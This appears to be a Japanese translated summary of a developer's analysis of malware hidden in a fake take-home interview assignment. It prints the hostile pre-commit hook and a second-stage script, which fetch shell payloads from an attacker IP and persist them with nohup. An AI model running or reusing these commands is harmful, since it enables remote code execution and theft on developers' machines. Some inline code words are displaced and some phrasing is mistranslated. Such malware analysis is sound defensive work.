
2026/07/23 5:33
持ち帰りで実施した面接プロジェクトの監査を行った。それはまさに一大作戦だった。
RSS: https://news.ycombinator.com/rss
要約▶
Japanese Translation:
高度な詐欺が、Y Combinator を支援するスタートアップ(例:「Zavopay」)を装い、Python 開発者を標的としています。攻撃者は高給のリモート契約オファーで被害者を誘拐し、クローンされた GitHub リポジトリや
.git/hooks/pre-commit スクリプト、.vscode フォルダ内のファイルといった隠された資産を通じて悪意のあるコードを配信します。開発者が履歴書を送付またはプロジェクトを開くことで(Git ハックのトリガーまたは VSCode の初期化を呼び出す)、被害者固有の識別子(例:id=402)に合わせて調整されたペイロードが、攻撃者の制御下にある IP アドレスから静かに実行されます。これらのペイロードは、クリプトジャッキングおよび/またはデータ流出を実行し、OS 固有の挙動を活用して背景で永続性を維持することがあります。この手口は標準の開発ワークフローを悪用しており、被害が発生するまで検出が困難です。攻撃者は汎用名または捏造された社名を再利用することで、遠隔採用に対する信頼を損なう偽りの正当性を与えています。開発者は、未承諾の高給オファーや直接的なアクセスリクエストには慎重に対処し、スクリプトを実行または IDE 内でフォルダを開く前にソースとリポジトリを検証する必要があることを強調しています。本文
リクルーターからの求人情報「タスク(Take-home Assignment)」が即座にマルウェア配布サイトへ誘導される事例
事件の経緯
- きっかけ:ハッカーニュースや LinkedIn で話題となった出来事。先週木曜日、Python Developer の求人紹介を目的としたリクルーターから直接 DM を受けたことである。
- 最初の反応:給与提示(月給 $10,000〜$15,000)や「契約から採用」のような好条件に加え、面談前の早い段階での給与明細共有に対し、「新人のミスか」と警戒しつつも、興味を持っていた。
- 決定要因:YC (Y Combinator) 系スタートアップだったため、厳格でない採用プロセスの可能性もあり、進めることにした。
課題(Take-home Assignment)の配布と初期検証
- 配布内容:Google Drive を経由し、ZIP アーカイブと PDF 指示書が送られた。
- 一見の印象:
とSQLAlchemy
を用いた標準的なバックエンド構造に見え、初期のセキュリティ懸念(タイポスクワッティングやマルウェア)はなかった。FastAPI - 発見プロセス:
- 著者自身の癖として、受け取ったフォルダには常に
コマンドを実行して隠しディレクトリを調べていた。tree -a - この行動が実社会で「報われる」という意味で、潜在的な危険性を早期に察知した。
- 著者自身の癖として、受け取ったフォルダには常に
検出された Git フック(.git/hooks/pre-commit)
- リポジトリ内に事前設定された
スクリプトが発見された。pre-commit - 動作内容:ホスト OS を検出し、対応する OS ごとにマルウェアをダウンロードして実行する仕組みだった。
❯ cat .git/hooks/pre-commit #!/bin/sh case "$(uname -s)" in Darwin*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;; Linux*) wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' -L | sh > /dev/null 2>&1 & ;; MINGW*|MSYS*|CYGWIN*) curl -sL http://45.61.164.38:5777/task/windows?id=402 -L | cmd > /dev/null 2>&1 & ;; *) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;; esac
- 重大な欠陥:
- IP アドレスの使用:
などのダミードメインではなく、生の IP アドレスを使用しており、「マルウェア」という明確なサインを出していた。lint-checker.com
- IP アドレスの使用:
マルウェアの実行フローと深度
- Linux ペイロードの動作:
- 指定されたパラメータ(
)で二次的なペイロードをダウンロード。id=402
を取得し、ファイル名をtokenlinux.npl
に変更。tokenlinux.sh
で実行権限を与え、chmod +x
コマンドで背景プロセスとして常駐させる。nohup
- 指定されたパラメータ(
の役割:端末閉鎖やログアウト後もプロセスが停止せず、裏側で動作し続けることを可能にする Linux/Unix ユーティリティである。nohup
二次ペイロードの内容
❯ curl http://45.61.164.38:5777/task/linux?id=402 #!/bin/bash set -e echo "Authenticated" TARGET_DIR="$HOME/Documents" clear wget -q -O "$TARGET_DIR/tokenlinux.npl" "http://45.61.164.38:5777/task/tokenlinux?id=402" clear mv "$TARGET_DIR/tokenlinux.npl" "$TARGET_DIR/tokenlinux.sh" clear chmod +x "$TARGET_DIR/tokenlinux.sh" clear nohup bash "$TARGET_DIR/tokenlinux.sh" > /dev/null 2>&1 & clear exit 0
攻撃者の目的と高度化された機能
- Node.js のインストールと実行:
とparser.js
をダウンロード。package.json- Node.js をシステムに静かに導入し、解析ツールを背景で起動。
- 追跡システム(Tracking ID):
- 各被害者に対してユニークな ID (
) を割り当てることで、攻撃者は被害状況を個別に追跡・管理している。id=402
- 各被害者に対してユニークな ID (
- Ethereum (Hardhat) の使用:
にpackage.json
が含まれており、クリプトウォレットの探索や特定タスクの割り当て(PoW ではないが、トラッキング目的)が行われている疑いが強い。hardhat
- 難読化されたコード:
は重度に難読化されており、人間では解析不能だったが、LLM(Gemini)による分析が可能だった。parser.js
別の感染経路:VSCode の自動化
- 一部のスクリプトでは、ZIP ファイル内に
フォルダを含み、それを開くと自動的にランチャークマンズ(実行スクリプト)が起動する仕組みになっていた。.vscode - Git コマンドの実行すら不要で、単にプロジェクトを開くだけで感染する設計だった。
攻撃者の正体と元ソースの発見
- Zavopay ではない:攻撃者は見せかけのためだけの企業名やリクルーター情報を無作為に使用していたことが判明した。
- 元のリポジトリ:
を確認すると、公開された無実のプロジェクトからスクリプトをコピーしているだけだった。git log- 元のプロジェクト:Bgogoi123/personal-finance-service
❯ git log commit 16a25d9eaef7ef2e831a21ca0d703fe0fa621492 (HEAD -> main, origin/main, origin/feature/payment, origin/HEAD, feature/payment) Author: rhonda <womenofinspiration2016@gmail.com> Date: Mon Jun 29 22:04:17 2026 -0400 add requirements commit 8ae96928302a0757f2c7f85c46d801c97b91e Merge: f64c289 d6cb1f2 Author: Bharati Gogoi <bgogoi055@gmail.com> Date: Mon Jun 29 21:23:43 2026 +0530 Merge pull request #10 from Bgogoi123/feature/balance [feat][Service for Adjusting Balance] ...
サーバー側の OPSEC(運用セキュリティ)評価
- 脆弱性確認:攻撃者の公開 IP に対し Nmap スキャンを実施。
- 発見事項:
- オープンポート 3 つのうち、2 つはバージョン検知が不明。
- ポート 22 (SSH) では OpenSSH 9.6p1 が稼働していた(CVE は利用不可能)。
- 総合評価:サーバー自体の OPSEC はまあまあよかったが、マルウェア配布サイトの露出という点では著しく不適切だった。
教訓と推奨事項
- 隠しディレクトリの確認:他人のコードを実行する前には、必ず
や同様のコマンドで隠しファイルを調査する癖をつけるべきである。tree -a - Take-home Assignment の注意点:自宅での課題テスト(Take-home assignment)を提示される際は、セキュリティリスクに十分注意し、信頼できない環境での実行は避けるべきである。
- マルウェアの報告:興味深いマルウェアサンプルを見つけた場合は、専門家に提供して共有することが重要だ。
注記:この事例は「自宅での課題テスト」を避けるよう警告されていますが、学習や分析目的で安全な環境下での調査のみをお勧めします。